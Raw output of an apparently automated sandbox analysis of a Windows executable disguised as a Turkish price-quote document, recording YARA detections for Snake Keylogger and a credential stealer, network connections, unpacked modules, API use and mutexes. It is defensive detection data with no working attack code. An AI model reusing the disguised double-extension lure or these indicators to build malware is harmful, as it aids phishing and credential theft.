Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:62790 version: TLS 1.2

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 0_2_029A4210	0_2_029A4210
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 0_2_029A7018	0_2_029A7018
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 0_2_029ADC8C	0_2_029ADC8C
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120C146	4_2_0120C146
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120A088	4_2_0120A088
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_01205362	4_2_01205362
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120D278	4_2_0120D278
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120C46A	4_2_0120C46A
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120C738	4_2_0120C738
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_012069A0	4_2_012069A0
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120E988	4_2_0120E988
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120CA08	4_2_0120CA08
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120CCD8	4_2_0120CCD8
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120CFAA	4_2_0120CFAA
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_01206FC8	4_2_01206FC8
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_01203E09	4_2_01203E09
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120F979	4_2_0120F979
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_0120E97A	4_2_0120E97A
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_012029EC	4_2_012029EC
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_012039F0	4_2_012039F0
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Code function: 4_2_01203AA1	4_2_01203AA1

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2140592862.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2146266318.0000000005660000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2142055553.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2146794500.00000000073E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000000.2107225835.00000000006C2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameItCE.exe. vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003BE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003BE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe, 00000004.00000002.4584426073.0000000006DE9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Binary or memory string: OriginalFilenameItCE.exe. vs fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 6444, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe PID: 2820, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack, DlRvq5yJkomY4LIf3S.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack, DlRvq5yJkomY4LIf3S.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, dZ02FtbylWJ92gYQ50.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, dZ02FtbylWJ92gYQ50.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, wnUc0Dk25qXsac9pHq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, wnUc0Dk25qXsac9pHq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, wnUc0Dk25qXsac9pHq.cs	Security API names: _0020.AddAccessRule
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, dZ02FtbylWJ92gYQ50.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, dZ02FtbylWJ92gYQ50.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, wnUc0Dk25qXsac9pHq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, wnUc0Dk25qXsac9pHq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, wnUc0Dk25qXsac9pHq.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/8@3/3

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Mutant created: \Sessions\1\BaseNamedObjects\jZQmQpNOvti
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2632:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0jkwsp2s.s4l.ps1

Jump to behavior

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

